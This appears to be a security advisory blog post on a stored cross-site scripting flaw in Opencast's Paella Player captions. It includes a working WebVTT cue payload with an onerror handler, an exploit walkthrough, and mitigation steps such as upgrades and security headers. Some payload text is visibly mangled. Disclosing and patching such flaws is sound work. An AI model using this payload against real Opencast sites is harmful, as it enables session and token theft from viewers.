Opencast Paella Player, Stored Cross-Site Scripting (XSS), CVE-2026-77615 (High) -DC-Sep2026-2474

Listen to this Post

CVE-2026-77615 is a stored cross-site scripting vulnerability in the Paella Player, a multi-stream video player library bundled with the Opencast open-source lecture capture system. The flaw resides in the captions rendering canvas, which writes caption cue text directly into the DOM via `_captionsContainer.innerHTML` without any HTML escaping or sanitization. When a WebVTT or DFXP caption file contains HTML markup within a cue, the browser treats it as live DOM rather than plain text.
The vulnerability chain begins with the caption ingestion pipeline. The player builds caption entries from any media package element whose flavor matches captions/, and the `/search/episode.json` endpoint serves the player manifest along with the caption file to anonymous clients. The WebVTT and DFXP caption plugins that consume these tracks are enabled by default in the player configuration (enabled: true at etc/ui-config/mh_default_org/paella7/config.json), and the “Subs” upload option producing a `captions/source` track is active in the default upload configuration. Critically, the `partial-process-uploaded-captions` workflow only cuts and tags the caption file — it never sanitizes it.
This means a non-administrative content author with ROLE_API_EVENTS_CREATE, ROLE_API_EVENTS_TRACK_EDIT, and `ROLE_UI_TASKS_CREATE` can create an event, upload a sub file containing an XSS payload in the cue text, and publish the event. The payload is stored verbatim in the published caption file. When any viewer — anonymous or authenticated — opens the event and enables captions, the caption canvas appends the cue to innerHTML, causing the embedded HTML and JavaScript to execute in the Opencast origin.
The absence of both a Content-Security-Policy header and an `X-Content-Type-Options` header on Opencast responses further removes any browser-level defense that might otherwise restrict script execution. Live verification on Opencast 18.8 and 20.0 confirmed that a non-admin author could publish a sub carrying an `` payload, and an anonymous viewer enabling captions would render the cue as a live `` node, executing the `onerror` handler and setting `window.__xss` and `document.` to document.domain. The exploit works because the same `innerHTML += cue` sink exists across Paella Player versions used in Opencast 18.x, 19.x, and 20.x prior to the patched releases.

DailyCVE Form

DailyCVE Form:

Platform: Opencast
Version: 18.x–20.x
Vulnerability: Stored XSS
Severity: High
date: 2026-09-17

Prediction: 2026-10-15

(end of form)

What Undercode Say:

Analytics

The following commands and code snippets illustrate the vulnerability mechanics described in the advisory.
1. Inspecting the vulnerable innerHTML sink in the bundled Paella core:

Locate the caption rendering code in the served player bundle
curl -s http://<opencast-host>/paella7/ui/paella-player.js | \
grep -o '_captionsContainer.innerHTML[^;]'
Expected output shows the sink:
_captionsContainer.innerHTML += cue

2. Confirming default plugin configuration:

Check if WebVTT and DFXP caption plugins are enabled by default
grep -n 'enabled.true' \
etc/ui-config/mh_default_org/paella7/config.json | \
grep -i 'caption|vtt|dfxp'
Lines 571 and 574 confirm both plugins are enabled

3. Verifying the caption flavor matching in EpisodeConversor:

Inspect the caption entry builder
grep -n 'captions/' \
modules/engage-paella-player-7/src/js/EpisodeConversor.js
Line 392 shows the captions/ flavor match

4. Retrieving the caption file anonymously:

The search manifest exposes the caption track to anonymous clients
curl -s "http://<opencast-host>/search/episode.json?id=<event-id>" | \
python3 -c "import sys,json; d=json.load(sys.stdin); \
print(json.dumps(d,indent=2))" | grep -A2 'captions/source'
Then fetch the raw caption file
curl -s "http://<opencast-host>/static/.../x.vtt"
Returns cue text verbatim including any HTML payload

5. Checking for missing security headers:

Verify absence of CSP and X-Content-Type-Options
curl -sI http://<opencast-host>/paella7/ui/watch.html | \
grep -i 'content-security-policy|x-content-type-options'
No output confirms the headers are absent

6. WebVTT payload structure:

WEBVTT
00:00:00.000 --> 00:00:30.000
<img src=x onerror=document.=window.__xss=document.domain>

When this file is uploaded as captions/source, the entire cue text is written to innerHTML, and the `onerror` handler executes when the browser attempts to load the invalid image source.

Exploit: (Educational Purposes!)

Prerequisites: A non-admin Opencast user account with ROLE_API_EVENTS_CREATE, ROLE_API_EVENTS_TRACK_EDIT, and `ROLE_UI_TASKS_CREATE` permissions.
Step 1 — Create an event and upload the malicious caption file.
Log in as the non-admin author, create a new event, and upload a WebVTT sub file as a `captions/source` track. The file content is:

WEBVTT
00:00:00.000 --> 00:00:30.000
<img src=x onerror=document.=window.__xss=document.domain>

Step 2 — Publish the event.

Publishing pushes the caption file into the engage player’s content distribution. The `partial-process-uploaded-captions` workflow will process the file but will not sanitize or escape the cue text.
Step 3 — Confirm the caption is served anonymously.

curl -s "http://<opencast-host>/search/episode.json?id=<event-id>" | \
grep -o '"type":"captions/source"'
curl -s "http://<opencast-host>/static/.../x.vtt"
Returns the cue with the <img> payload intact

Step 4 — Trigger execution.

Open the event in the Paella player as an anonymous viewer. Open the captions menu and select the track. The caption canvas clears `_captionsContainer.innerHTML` and then appends the cue via innerHTML += cue. The `` element is created, the browser attempts to load x, fails, and fires the `onerror` handler. The page’s `document.` and `window.__xss` are set to `document.domain` — confirming arbitrary JavaScript execution in the Opencast origin.
Impact of successful exploitation: Session cookie theft, CSRF token exfiltration, and the ability to perform authenticated actions against the Opencast REST API on behalf of any viewer who enables captions on the compromised event.

Protection: from this CVE

1. Upgrade to a patched version.

| Product | Fixed Version |

|||

| Paella Player | 2.12.11 |

| Opencast | 19.7 |

| Opencast | 20.2 |

Upgrading to Opencast 19.7 or 20.2 (or later) bundles Paella Player 2.12.11, which addresses the vulnerable caption rendering path. If Paella Player is used standalone, update it to 2.12.11 directly.

2. Deploy a Content-Security-Policy header.

Opencast does not set a CSP header by default. Adding one restricts inline script execution and can mitigate the impact of any residual injection points:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

3. Add the X-Content-Type-Options header.

X-Content-Type-Options: nosniff

4. Restrict caption upload permissions.

If immediate upgrade is not possible, limit the ability to upload `captions/source` tracks to trusted administrative users only. This does not fix the underlying rendering flaw but reduces the attack surface by making it harder for a non-admin author to store the payload.

5. Sanitize caption files before publishing.

As a temporary measure, integrate a sanitization step into the caption processing workflow that strips or escapes HTML tags from cue text before the file is published to the engage player.

6. Monitor for anomalous caption content.

Inspect published caption files for HTML tags such as <img>, <script>, <svg>, and event handler attributes like onerror, onload, and onclick. These have no legitimate place in plain-text caption cues.

7. Verify the fix after upgrading.

After upgrading, confirm the sink no longer writes raw HTML
curl -s http://<opencast-host>/paella7/ui/paella-player.js | \
grep -c 'innerHTML += cue'
Expected result after patch: 0

Impact

Confidentiality: High — The injected script executes in the Opencast origin and can read session cookies, CSRF tokens, and any data accessible to the victim’s browser session. If an administrator or instructor views the compromised event with captions enabled, their elevated session context is exposed.
Integrity: High — The script can perform actions on behalf of the victim against the Opencast REST API, including modifying events, altering user data, or publishing content under the victim’s identity.
Availability: None — The vulnerability does not directly affect the availability of the Opencast service.
Scope: Changed — The injected script runs in the security context of the Opencast origin, which may differ from the context of the caption upload feature, allowing cross-origin actions within the same application boundary.
Overall severity: 8.7 (High) — CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N. The attack requires low privileges (a non-admin content author), network access, and user interaction (the victim must enable captions), but the resulting impact on confidentiality and integrity is high because the script executes in the Opencast origin.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top